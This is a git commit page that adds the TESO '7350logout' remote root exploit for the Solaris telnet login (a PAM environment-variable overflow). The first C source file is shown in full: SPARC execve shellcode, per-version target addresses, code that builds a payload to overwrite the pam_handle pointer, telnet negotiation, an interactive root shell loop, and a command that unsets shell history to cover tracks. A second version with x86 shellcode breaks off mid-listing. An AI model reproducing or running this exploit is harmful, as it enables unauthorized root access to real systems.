summaryrefslogtreecommitdiff
path: root/exploits/7350logout
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350logout
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350logout')
-rw-r--r--exploits/7350logout/7350logoutbin0 -> 20426 bytes
-rw-r--r--exploits/7350logout/7350logout-0.2.1.c954
-rw-r--r--exploits/7350logout/7350logout.c1189
-rw-r--r--exploits/7350logout/irix-6.5-login.c3867
-rw-r--r--exploits/7350logout/login-27-x86bin0 -> 27996 bytes
-rw-r--r--exploits/7350logout/login-ex.c-20020318-morgan533
-rw-r--r--exploits/7350logout/loginex.c302
-rw-r--r--exploits/7350logout/pam.txt103
-rw-r--r--exploits/7350logout/solaris-2.4-sparc-loginbin0 -> 27260 bytes
-rw-r--r--exploits/7350logout/solaris-2.6-sparc-loginbin0 -> 29444 bytes
-rw-r--r--exploits/7350logout/solaris-2.6-sparc-login2bin0 -> 29512 bytes
-rw-r--r--exploits/7350logout/solaris-2.7-login.c2355
-rw-r--r--exploits/7350logout/solaris-2.8-sparc-loginbin0 -> 29292 bytes
-rw-r--r--exploits/7350logout/solaris-2.8-sparc-login-patchedbin0 -> 29200 bytes
-rw-r--r--exploits/7350logout/solaris-2.8-sparc-login.obin0 -> 38604 bytes
15 files changed, 9303 insertions, 0 deletions
diff --git a/exploits/7350logout/7350logout b/exploits/7350logout/7350logout
new file mode 100644
index 0000000..6065c71
--- /dev/null
+++ b/exploits/7350logout/7350logout
Binary files differ
diff --git a/exploits/7350logout/7350logout-0.2.1.c b/exploits/7350logout/7350logout-0.2.1.c
new file mode 100644
index 0000000..5d2100f
--- /dev/null
+++ b/exploits/7350logout/7350logout-0.2.1.c
@@ -0,0 +1,954 @@
1/* 7350logout - sparc/solaris login remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2001
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2001/12/19 -scut
21 *
22 * tested on:
23 *
24 * SunOS 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-1
25 * SunOS 5.8 Generic sun4m sparc SUNW,SPARCstation-10
26 *
27 * TODO: get 2.5.1 binary, verify offsets against 2.5.1 and 2.6
28 *
29 * on sol: cc -o 7 7.c -lnsl -lsocket
30 */
31
32#define VERSION "0.2.1"
33
34#include <sys/types.h>
35#include <sys/time.h>
36#include <sys/socket.h>
37#include <netinet/in.h>
38#include <arpa/inet.h>
39#include <arpa/telnet.h>
40#include <netdb.h>
41#include <fcntl.h>
42#include <errno.h>
43#include <unistd.h>
44#include <stdio.h>
45#include <stdlib.h>
46#include <string.h>
47
48
49/* ok, here are the guts of our PAM power technique ;)
50 *
51 * 1. we expect this memory layout in the static .bss space:
52 * [envbuf] 0x800 environment string buffer
53 * [args] 63 * 0x04 environment pointer buffer
54 * [pamh] 0x4 pam_handle pointer
55 *
56 * after doing a failed login, which sets up the pamh pointer properly, we
57 * supply a large number of environment variables. this overwrites pamh with
58 * a pointer to our string data. through encoding everything nasty in octal
59 * chars, we can supply anything there, even NUL bytes. we setup a valid
60 * pam_handle structure there, with some "to-survive-barely" data and a
61 * fake AUTH module structure. this structure contains a pointer to our
62 * static buffer again, slided by a few bytes. the function pointer which
63 * is called by PAM functions read a pointer from this login-supplied address.
64 * so this technique is basically binary-fixed, but only requires one exact
65 * 4-byte-aligned offset to be known, the &args[0] address, which is normally
66 * the .bss start + 0x800. -sc
67 */
68typedef struct {
69 char * desc; /* distribution */
70 unsigned long int args; /* &args[0] buffer address */
71
72 unsigned char * shellcode;
73 unsigned int shellcode_len;
74} tgt_type;
75
76
77/* 48 byte sparc/solaris pic execve shellcode, lsd-pl.net, thanks!
78 */
79unsigned char sparc_solaris_execve[] =
80 "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
81 "\x20\xbf\xff\xff" /* bn,a <shellcode> */
82 "\x7f\xff\xff\xff" /* call <shellcode+4> */
83 "\x90\x03\xe0\x20" /* add %o7,32,%o0 */
84 "\x92\x02\x20\x10" /* add %o0,16,%o1 */
85 "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
86 "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
87 "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
88 "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
89 "\x91\xd0\x20\x08" /* ta 8 */
90 "/bin/ksh";
91
92#define SH_INIT "unset HISTFILE;id;uname -a;uptime;\n"
93
94
95tgt_type targets[] = {
96/* solaris 2.4 uses libauth, a libpam precessor, which looks different.
97 * i suppose it would be able to make this technique work with libauth,
98 * but its not worth the effort (though they look very similar)
99 { "Solaris 2.4 SPARC", 0x00026e78,
100 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 },
101*/
102 { "Solaris 2.6 SPARC", 0x00027620,
103 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 },
104 { "Solaris 2.7|2.8 SPARC", 0x000275c0,
105 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 },
106 { NULL, 0x00000000, NULL, 0 },
107};
108
109tgt_type target_manual = {
110 "Manual target", 0x0,
111 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 };
112
113
114unsigned long int args_manual = 0x0;
115
116char * dest = "127.0.0.1"; /* can be changed with -d */
117int verbose = 0,
118 debug = 0;
119
120
121/* prototypes
122 */
123
124void usage (char *progname);
125void shell (int sock);
126void hexdump (char *desc, unsigned char *data, unsigned int amount);
127void exploit (int fd);
128unsigned int exploit_pam (unsigned char *ww);
129unsigned int exploit_addstring (unsigned char *ww, unsigned char *str);
130unsigned int exploit_addbuf (unsigned char *ww, unsigned char *buf,
131 unsigned int buf_len);
132unsigned int exploit_addbufquot (unsigned char *ww, unsigned char *buf,
133 unsigned int buf_len);
134unsigned int exploit_addchars (unsigned char *ww, unsigned char wc,
135 unsigned int count);
136unsigned int exploit_addraw (unsigned char *ww, unsigned char wc);
137unsigned int exploit_addchar (unsigned char *ww, unsigned char wc);
138unsigned int exploit_addptrs (unsigned char *ww, unsigned long int ptr,
139 unsigned int count);
140unsigned int exploit_addptr (unsigned char *ww, unsigned long int ptr);
141ssize_t telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize,
142 char *prompt);
143ssize_t telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize);
144int telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len);
145void telnet_send (int fd, unsigned char type, unsigned char option);
146void tgt_list (void);
147unsigned long int net_resolve (char *host);
148int net_connect (struct sockaddr_in *cs, char *server,
149 unsigned short int port, int sec);
150int net_rtimeout (int fd, int sec);
151int nwrite (int fd, unsigned char *ptr, unsigned int len);
152
153
154
155void
156usage (char *progname)
157{
158 fprintf (stderr, "usage: %s [-h] [-v] [-D] [-p] [-t num] [-a addr] "
159 "[-d dst]\n\n", progname);
160
161 fprintf (stderr, "-h\tdisplay this usage\n"
162 "-v\tincrease verbosity\n"
163 "-D\tDEBUG mode\n"
164 "-p\tspawn ttyloop directly (use when problem arise)\n"
165 "-t num\tselect target type (zero for list)\n"
166 "-a a\tacp option: set &args[0]\n"
167 "\t(manual offset, try 0x27500-0x27700, "
168 "0x8 then 0x4 steps)\n"
169 "-d dst\tdestination ip or fqhn (default: 127.0.0.1)\n\n");
170
171 exit (EXIT_FAILURE);
172}
173
174
175int fastprompt = 0;
176tgt_type * tgt = NULL;
177
178int
179main (int argc, char *argv[])
180{
181 int fd,
182 tgt_num = -1;
183 char c;
184 char * progname;
185 unsigned char rbuf[4096];
186
187
188#ifndef NOTAG
189 fprintf (stderr, "7350logout - sparc/solaris login remote root "
190 "(version "VERSION") -sc.\n"
191 "team teso.\n\n");
192#endif
193
194 progname = argv[0];
195 if (argc < 2)
196 usage (progname);
197
198
199 while ((c = getopt (argc, argv, "ht:vDpa:d:")) != EOF) {
200 switch (c) {
201 case 'h':
202 usage (progname);
203 break;
204 case 't':
205 if (sscanf (optarg, "%u", &tgt_num) != 1)
206 usage (progname);
207 break;
208 case 'v':
209 verbose += 1;
210 break;
211 case 'D':
212 debug = 1;
213 break;
214 case 'p':
215 fastprompt = 1;
216 break;
217 case 'a':
218 if (sscanf (optarg, "0x%lx", &args_manual) != 1) {
219 fprintf (stderr, "give args address in 0x123 "
220 "format, dumb pentester!\n");
221 exit (EXIT_FAILURE);
222 }
223 break;
224 case 'd':
225 dest = optarg;
226 break;
227 default:
228 usage (progname);
229 break;
230 }
231 }
232
233 if (args_manual != 0) {
234 tgt = &target_manual;
235 tgt->args = args_manual;
236 fprintf (stderr, "using manual target\n");
237 } else if (tgt_num <= 0 ||
238 (tgt_num >= (sizeof (targets) / sizeof (tgt_type))))
239 {
240 if (tgt_num != 0)
241 printf ("WARNING: target out of list. list:\n\n");
242
243 tgt_list ();
244
245 exit (EXIT_SUCCESS);
246 } else if (tgt == NULL)
247 tgt = &targets[tgt_num - 1];
248
249
250 fd = net_connect (NULL, dest, 23, 20);
251 if (fd <= 0) {
252 fprintf (stderr, "failed to connect\n");
253 exit (EXIT_FAILURE);
254 }
255
256 /* catch initial telnet option processing, then wait for "login: "
257 * prompt to appear
258 */
259 telnet_prompt (fd, rbuf, sizeof (rbuf), "login: ");
260 fprintf (stderr, "# detected first login prompt\n");
261
262 /* send one initial login attempt (to set pamh)
263 */
264 write (fd, "foo 7350\n", 9);
265 sleep (1);
266 write (fd, "pass\n", 5);
267 sleep (1);
268
269 telnet_prompt (fd, rbuf, sizeof (rbuf), "login: ");
270 fprintf (stderr, "# detected second login prompt\n");
271
272 if (debug) {
273 fprintf (stderr, "### attach and press enter!\n");
274 getchar ();
275 }
276 exploit (fd);
277 fprintf (stderr,
278 "# send long login bait, waiting for password prompt\n");
279
280 if (fastprompt || debug) {
281 fprintf (stderr, "# press enter at the prompt\n");
282 } else {
283 telnet_prompt (fd, rbuf, sizeof (rbuf), "Password: ");
284 fprintf (stderr, "# received password prompt, success?\n");
285 write (fd, "7350\n", 5);
286
287 fprintf (stderr, "# waiting for shell "
288 "(more than 5s hanging = failure)\n");
289 telnet_prompt (fd, rbuf, sizeof (rbuf), "#");
290
291 fprintf (stderr,
292 "# detected shell prompt, successful exploitation\n");
293 fprintf (stderr, "###########################################"
294 "################################\n");
295
296 write (fd, SH_INIT, strlen (SH_INIT));
297 }
298
299 shell (fd);
300
301 exit (EXIT_SUCCESS);
302}
303
304
305unsigned int envcount;
306#define MAXARGS 63
307
308void
309exploit (int fd)
310{
311 int n;
312 unsigned char * ww; /* wbuf walker */
313 unsigned char wbuf[8192];
314 unsigned long retaddr; /* where to return to */
315
316
317 envcount = 0;
318 memset (wbuf, '\x00', sizeof (wbuf));
319 ww = &wbuf[0];
320
321 ww += exploit_addstring (ww, "sP!");
322
323 for (n = 0 ; n < MAXARGS - 1 ; ++n) {
324 ww += exploit_addraw (ww, '\x20');
325 ww += exploit_addchar (ww, 'a');
326 }
327
328 /* with this environment setting we rewrite the 'pamh' pointer, so
329 * the content of our string must be a valid pam_handle structure,
330 * with various settings, so that we can take over a function pointer
331 * which will later be triggered by pam_authenticate. complicated
332 * stuff, uhhohh!
333 */
334 ww += exploit_addraw (ww, '\x20');
335 ww += exploit_pam (ww);
336
337 /* PADDING */
338 ww += exploit_addstring (ww, "PPP");
339
340 ww += exploit_addraw (ww, '\x20');
341
342 retaddr = tgt->args - 0x0800; /* = &envbuf[0] */
343 retaddr += envcount + 8; /* + written stuff + addr + pad */
344 if (debug)
345 ww += exploit_addptr (ww, 0x41414140);
346 else
347 ww += exploit_addptr (ww, retaddr);
348
349 fprintf (stderr, "# returning to 0x%08lx\n", retaddr);
350 ww += exploit_addraw (ww, '\x20');
351
352 ww += exploit_addstring (ww, "PPP"); /* padding */
353 ww += exploit_addbufquot (ww, tgt->shellcode, tgt->shellcode_len);
354
355 *ww++ = '\n';
356
357 n = ww - &wbuf[0];
358 if (verbose)
359 hexdump ("sendbuffer", wbuf, n);
360
361 nwrite (fd, wbuf, n);
362}
363
364
365#define PAM_USER 2
366#define PAM_MAX_ITEMS 64
367
368unsigned int
369exploit_pam (unsigned char *ww)
370{
371 unsigned int n;
372 unsigned char * wwo = ww;
373
374
375 /* add pam_item ps_item[PAM_MAX_ITEMS] structures */
376 for (n = 0 ; n < PAM_MAX_ITEMS ; ++n) {
377 if (n == PAM_USER) {
378 ww += exploit_addptr (ww, tgt->args);
379 ww += exploit_addptr (ww, 0x00000001);
380 } else {
381 ww += exploit_addchars (ww, '\x00', 8);
382 }
383 }
384
385 /* pam_conf_info[0] (AUTH) = pameptr
386 */
387 ww += exploit_addptr (ww, tgt->args + (64 * 4) - 0x18);
388
389 /* pam_conf_info[1-3], ssd, fd, pam_env,
390 * pam_client_message_version_number
391 */
392 ww += exploit_addptrs (ww, 0x00000000, 3 + 4);
393
394 return (ww - wwo);
395}
396
397
398unsigned int
399exploit_addstring (unsigned char *ww, unsigned char *str)
400{
401 unsigned char * wwo = ww;
402
403 ww += exploit_addbuf (ww, str, strlen (str));
404
405 return (ww - wwo);
406}
407
408
409unsigned int
410exploit_addbuf (unsigned char *ww, unsigned char *buf, unsigned int buf_len)
411{
412 unsigned char * wwo;
413
414 for (wwo = ww ; buf_len > 0 ; ++buf, --buf_len)
415 ww += exploit_addchar (ww, *buf);
416
417 return (ww - wwo);
418}
419
420
421unsigned int
422exploit_addbufquot (unsigned char *ww, unsigned char *buf,
423 unsigned int buf_len)
424{
425 unsigned char wc;
426 unsigned char * wwo;
427
428 for (wwo = ww ; buf_len > 0 ; --buf_len, ++buf) {
429 wc = *buf;
430
431 *ww++ = '\\';
432 *ww++ = ((wc & 0300) >> 6) + '0';
433 *ww++ = ((wc & 0070) >> 3) + '0';
434 *ww++ = (wc & 0007) + '0';
435 envcount += 1;
436 }
437
438 return (ww - wwo);
439}
440
441
442unsigned int
443exploit_addchars (unsigned char *ww, unsigned char wc, unsigned int count)
444{
445 unsigned char * wwo;
446
447 for (wwo = ww ; count > 0 ; --count) {
448 ww += exploit_addchar (ww, wc);
449 }
450
451 return (ww - wwo);
452}
453
454
455unsigned int
456exploit_addraw (unsigned char *ww, unsigned char wc)
457{
458 if (wc == '\x20' || *ww == '\x09')
459 envcount += 1;
460
461 *ww = wc;
462
463 return (1);
464}
465
466
467unsigned int
468exploit_addchar (unsigned char *ww, unsigned char wc)
469{
470 unsigned char * wwo = ww;
471
472 switch (wc) {
473 case ('\xff'):
474 *ww++ = '\xff'; /* escape telnet iac crap */
475 *ww++ = '\xff';
476 break;
477 case ('\\'):
478 *ww++ = '\\';
479 *ww++ = '\\';
480 break;
481 case ('\n'):
482 case (' '):
483 case ('\t'):
484 *ww++ = '\\';
485 *ww++ = ((wc & 0300) >> 6) + '0';
486 *ww++ = ((wc & 0070) >> 3) + '0';
487 *ww++ = (wc & 0007) + '0';
488 break;
489 default:
490 *ww++ = wc;
491 break;
492 }
493
494 envcount += 1;
495
496 return (ww - wwo);
497}
498
499
500unsigned int
501exploit_addptrs (unsigned char *ww, unsigned long int ptr, unsigned int count)
502{
503 unsigned char * wwo;
504
505 for (wwo = ww ; count > 0 ; --count) {
506 ww += exploit_addptr (ww, ptr);
507 }
508
509 return (ww - wwo);
510}
511
512
513unsigned int
514exploit_addptr (unsigned char *ww, unsigned long int ptr)
515{
516 unsigned char * wwo = ww;
517
518 /* big endian */
519 ww += exploit_addchar (ww, (ptr >> 24) & 0xff);
520 ww += exploit_addchar (ww, (ptr >> 16) & 0xff);
521 ww += exploit_addchar (ww, (ptr >> 8) & 0xff);
522 ww += exploit_addchar (ww, ptr & 0xff);
523
524 return (ww - wwo);
525}
526
527
528/* telnet_prompt
529 *
530 * loop in telnet i/o until a prompt appears, given by `prompt' parameter
531 * else behave as telnet_read would
532 */
533
534ssize_t
535telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize,
536 char *prompt)
537{
538 ssize_t rtemp;
539
540
541 do {
542 rtemp = telnet_read (fd, inbuf, inbufsize);
543 if (rtemp == 0) {
544 fprintf (stderr, "failed telnet_prompt.\n");
545
546 exit (EXIT_FAILURE);
547 }
548
549 if (verbose >= 2) {
550 fprintf (stderr, "rbuf: ");
551 write (2, inbuf, rtemp);
552 }
553 } while (strstr (inbuf, prompt) == NULL);
554
555 return (rtemp);
556}
557
558
559/* telnet_read
560 *
561 * read() function that takes care of all the telnet option negotiation crap
562 *
563 * return value just like read()
564 */
565
566ssize_t
567telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize)
568{
569 ssize_t rc;
570 int idleflag;
571 int atecount;
572
573
574 while ((idleflag = net_rtimeout (fd, 15)) == 1) {
575 rc = read (fd, inbuf, inbufsize);
576 if (verbose)
577 hexdump ("from wire", inbuf, rc);
578 atecount = telnet_eatall (fd, inbuf, rc);
579 rc -= atecount;
580 if (verbose)
581 hexdump ("after processing", inbuf, rc);
582/* FIXME: correct? */
583 {
584 int n;
585
586 for (n = 0 ; n < rc ; ++n) {
587 if (inbuf[n] == '\x00')
588 inbuf[n] = '\x01';
589 }
590 }
591 if (rc > 0)
592 return (rc);
593 }
594
595 if (idleflag == -1)
596 fprintf (stderr, "# telnetd either died or invalid response\n");
597
598 return (rc);
599}
600
601
602/* telnet_eatall
603 *
604 * eat all telnet negotiation stuff and answer it, so we get through.
605 * basically copied 1:1 from netcat.
606 */
607
608int
609telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len)
610{
611 int eat;
612 int changed;
613
614
615 for (eat = 0 ; inbuf_len > 2 ; ++inbuf, --inbuf_len) {
616 changed = 0;
617
618 if (inbuf[0] != IAC || inbuf_len < 2)
619 continue;
620
621 if (inbuf[1] == WILL && inbuf[2] == TELOPT_SGA) {
622 inbuf[1] = DO; /* IAC WILL SUPPRESSGOAHEAD, DO IT! */
623 changed = 1;
624 } else if (inbuf[1] == WILL && inbuf[2] == TELOPT_ECHO) {
625 inbuf[1] = DO; /* IAC WILL ECHO, DO IT! */
626 changed = 1;
627 } else
628 if (inbuf[1] == WILL || inbuf[1] == WONT) {
629 inbuf[1] = DONT;
630 changed = 1;
631 } else if (inbuf[1] == DO || inbuf[1] == DONT) {
632 inbuf[1] = WONT;
633 changed = 1;
634 }
635 if (changed)
636 write (fd, inbuf, 3);
637
638 if (inbuf_len > 3)
639 memmove (&inbuf[0], &inbuf[3], inbuf_len - 3);
640
641 --inbuf;
642 inbuf_len -= 2;
643 eat += 3;
644 }
645
646 return (eat);
647}
648
649
650void
651telnet_send (int fd, unsigned char type, unsigned char option)
652{
653 unsigned char buf[3];
654
655 buf[0] = IAC;
656 buf[1] = type;
657 buf[2] = option;
658
659 write (fd, buf, sizeof (buf));
660}
661
662
663void
664tgt_list (void)
665{
666 int tgt_num;
667
668
669 printf ("num . description\n");
670 printf ("----+-----------------------------------------------"
671 "--------\n");
672
673 for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
674 printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);
675
676 if (verbose)
677 printf (" : 0x%08lx\n", targets[tgt_num].args);
678 }
679 printf (" '\n");
680
681 return;
682}
683
684
685void
686shell (int sock)
687{
688 int l;
689 char buf[512];
690 fd_set rfds;
691
692
693 while (1) {
694 FD_SET (0, &rfds);
695 FD_SET (sock, &rfds);
696
697 select (sock + 1, &rfds, NULL, NULL, NULL);
698 if (FD_ISSET (0, &rfds)) {
699 l = read (0, buf, sizeof (buf));
700 if (l <= 0) {
701 perror ("read user");
702 exit (EXIT_FAILURE);
703 }
704 write (sock, buf, l);
705 }
706
707 if (FD_ISSET (sock, &rfds)) {
708 l = telnet_read (sock, buf, sizeof (buf));
709 if (l <= 0) {
710 perror ("read remote");
711 exit (EXIT_FAILURE);
712 }
713 write (1, buf, l);
714 }
715 }
716}
717
718
719/* ripped from zodiac */
720void
721hexdump (char *desc, unsigned char *data, unsigned int amount)
722{
723 unsigned int dp, p; /* data pointer */
724 const char trans[] =
725 "................................ !\"#$%&'()*+,-./0123456789"
726 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
727 "nopqrstuvwxyz{|}~...................................."
728 "....................................................."
729 "........................................";
730
731
732 printf ("/* %s, %u bytes */\n", desc, amount);
733
734 for (dp = 1; dp <= amount; dp++) {
735 fprintf (stderr, "%02x ", data[dp-1]);
736 if ((dp % 8) == 0)
737 fprintf (stderr, " ");
738 if ((dp % 16) == 0) {
739 fprintf (stderr, "| ");
740 p = dp;
741 for (dp -= 16; dp < p; dp++)
742 fprintf (stderr, "%c", trans[data[dp]]);
743 fflush (stderr);
744 fprintf (stderr, "\n");
745 }
746 fflush (stderr);
747 }
748 if ((amount % 16) != 0) {
749 p = dp = 16 - (amount % 16);
750 for (dp = p; dp > 0; dp--) {
751 fprintf (stderr, " ");
752 if (((dp % 8) == 0) && (p != 8))
753 fprintf (stderr, " ");
754 fflush (stderr);
755 }
756 fprintf (stderr, " | ");
757 for (dp = (amount - (16 - p)); dp < amount; dp++)
758 fprintf (stderr, "%c", trans[data[dp]]);
759 fflush (stderr);
760 }
761 fprintf (stderr, "\n");
762
763 return;
764}
765
766
767
768unsigned long int
769net_resolve (char *host)
770{
771 long i;
772 struct hostent *he;
773
774 i = inet_addr(host);
775 if (i == -1) {
776 he = gethostbyname(host);
777 if (he == NULL) {
778 return (0);
779 } else {
780 return (*(unsigned long *) he->h_addr);
781 }
782 }
783 return (i);
784}
785
786
787int
788net_connect (struct sockaddr_in *cs, char *server,
789 unsigned short int port, int sec)
790{
791 int n,
792 len,
793 error,
794 flags;
795 int fd;
796 struct timeval tv;
797 fd_set rset, wset;
798 struct sockaddr_in csa;
799
800 if (cs == NULL)
801 cs = &csa;
802
803 /* first allocate a socket */
804 cs->sin_family = AF_INET;
805 cs->sin_port = htons (port);
806 fd = socket (cs->sin_family, SOCK_STREAM, 0);
807 if (fd == -1)
808 return (-1);
809
810 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
811 close (fd);
812 return (-1);
813 }
814
815 flags = fcntl (fd, F_GETFL, 0);
816 if (flags == -1) {
817 close (fd);
818 return (-1);
819 }
820 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
821 if (n == -1) {
822 close (fd);
823 return (-1);
824 }
825
826 error = 0;
827
828 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
829 if (n < 0) {
830 if (errno != EINPROGRESS) {
831 close (fd);
832 return (-1);
833 }
834 }
835 if (n == 0)
836 goto done;
837
838 FD_ZERO(&rset);
839 FD_ZERO(&wset);
840 FD_SET(fd, &rset);
841 FD_SET(fd, &wset);
842 tv.tv_sec = sec;
843 tv.tv_usec = 0;
844
845 n = select(fd + 1, &rset, &wset, NULL, &tv);
846 if (n == 0) {
847 close(fd);
848 errno = ETIMEDOUT;
849 return (-1);
850 }
851 if (n == -1)
852 return (-1);
853
854 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
855 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
856 len = sizeof(error);
857 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
858 errno = ETIMEDOUT;
859 return (-1);
860 }
861 if (error == 0) {
862 goto done;
863 } else {
864 errno = error;
865 return (-1);
866 }
867 }
868 } else
869 return (-1);
870
871done:
872 n = fcntl(fd, F_SETFL, flags);
873 if (n == -1)
874 return (-1);
875 return (fd);
876}
877
878
879int
880net_rtimeout (int fd, int sec)
881{
882 fd_set rset;
883 struct timeval tv;
884 int n, error, flags;
885
886 error = 0;
887 flags = fcntl(fd, F_GETFL, 0);
888 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
889 if (n == -1)
890 return (-1);
891
892 FD_ZERO(&rset);
893 FD_SET(fd, &rset);
894 tv.tv_sec = sec;
895 tv.tv_usec = 0;
896
897 /* now we wait until more data is received then the tcp low level watermark,
898 * which should be setted to 1 in this case (1 is default)
899 */
900
901 n = select(fd + 1, &rset, NULL, NULL, &tv);
902 if (n == 0) {
903 n = fcntl(fd, F_SETFL, flags);
904 if (n == -1)
905 return (-1);
906 errno = ETIMEDOUT;
907 return (-1);
908 }
909 if (n == -1) {
910 return (-1);
911 }
912 /* socket readable ? */
913 if (FD_ISSET(fd, &rset)) {
914 n = fcntl(fd, F_SETFL, flags);
915 if (n == -1)
916 return (-1);
917 return (1);
918 } else {
919 n = fcntl(fd, F_SETFL, flags);
920 if (n == -1)
921 return (-1);
922 errno = ETIMEDOUT;
923 return (-1);
924 }
925}
926
927
928int
929nwrite (int fd, unsigned char *ptr, unsigned int len)
930{
931 ssize_t retval,
932 nwr = 0;
933 static int flipcount = 0;
934
935
936 if (verbose)
937 hexdump ("to wire", ptr, len);
938
939 while (len > 0) {
940 telnet_send (fd, flipcount ? WILL : WONT, TELOPT_BINARY);
941 flipcount = flipcount ? 0 : 1;
942
943 retval = write (fd, ptr, len > 0x100 ? 0x100 : len);
944 if (retval <= 0)
945 return (retval);
946
947 ptr += retval;
948 len -= retval;
949 nwr += retval;
950 }
951
952 return (nwr);
953}
954
diff --git a/exploits/7350logout/7350logout.c b/exploits/7350logout/7350logout.c
new file mode 100644
index 0000000..4a14180
--- /dev/null
+++ b/exploits/7350logout/7350logout.c
@@ -0,0 +1,1189 @@
1/* 7350logout - sparc|x86/solaris login remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2001
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2001/12/19 -scut
21 *
22 * offsetless version (what a brainblasting mess).
23 *
24 * XXX: timing seems to be somewhat relevant, since telnetd does not cleanly
25 * flush anything to login, so we have to sleep a while. should work.
26 *
27 * on sol: cc -o 7 7.c -lnsl -lsocket
28 */
29
30#define VERSION "0.7.2"
31
32#include <sys/types.h>
33#include <sys/time.h>
34#include <sys/socket.h>
35#include <netinet/in.h>
36#include <arpa/inet.h>
37#include <arpa/telnet.h>
38#include <netdb.h>
39#include <fcntl.h>
40#include <errno.h>
41#include <unistd.h>
42#include <stdio.h>
43#include <stdlib.h>
44#include <string.h>
45
46
47/* ok, here are the guts of our PAM power technique ;)
48 *
49 * 1. we expect this memory layout in the static .bss space:
50 * [envbuf] 0x800 environment string buffer
51 * [args] 63 * 0x04 environment pointer buffer
52 * [pamh] 0x4 pam_handle pointer
53 *
54 * thats all. yes.
55 *
56 * offsetless through triple-overlapping pam_handle struct
57 * TODO: write more in-depth blarf
58 */
59
60typedef struct {
61 char * desc; /* distribution */
62 unsigned long int args; /* &args[0] buffer address */
63
64 int endianess; /* 0 = big, 1 = little */
65
66 unsigned char * shellcode;
67 unsigned int shellcode_len;
68 unsigned char * shellcode_nop; /* 4 byte nops */
69} tgt_type;
70
71
72/* 48 byte sparc/solaris pic execve shellcode, lsd-pl.net, thanks!
73 */
74unsigned char sparc_solaris_execve[] =
75 "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
76 "\x20\xbf\xff\xff" /* bn,a <shellcode> */
77 "\x7f\xff\xff\xff" /* call <shellcode+4> */
78 "\x90\x03\xe0\x20" /* add %o7,32,%o0 */
79 "\x92\x02\x20\x10" /* add %o0,16,%o1 */
80 "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
81 "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
82 "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
83 "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
84 "\x91\xd0\x20\x08" /* ta 8 */
85 "/bin/ksh";
86
87unsigned char sparc_nop[] =
88 "\x90\x1b\x80\x0e"; /* xor %sp, %sp, %o0 */
89
90
91/* 42 byte x86/solaris execve shellcode
92 * unknown author (kudos to him ! :)
93 */
94unsigned char x86_solaris_execve[] =
95 "\xeb\x1b" /* jmp */
96 "\x33\xd2" /* xorl %edx,%edx */
97 "\x58" /* popl %eax */
98 "\x8d\x78\x14" /* leal 0x14(%eax),edi */
99 "\x52" /* pushl %edx */
100 "\x57" /* pushl %edi */
101 "\x50" /* pushl %eax */
102 "\xab" /* stosl %eax,%es:(%edi) */
103 "\x92" /* xchgl %eax,%edx */
104 "\xab" /* stosl %eax,%es:(%edi) */
105 "\x88\x42\x08" /* movb %al,0x8(%edx) */
106 "\x83\xef\x3c" /* subl $0x3c,%edi */
107 "\xb0\x9a" /* movb $0x9a,%al */
108 "\xab" /* stosl %eax,%es:(%edi) */
109 "\x47" /* incl %edi */
110 "\xb0\x07" /* movb $0x7,%al */
111 "\xab" /* stosl %eax,%es:(%edi) */
112 "\xb0\x3b" /* movb $0x3b,%al */
113 "\xe8\xe0\xff\xff\xff" /* call */
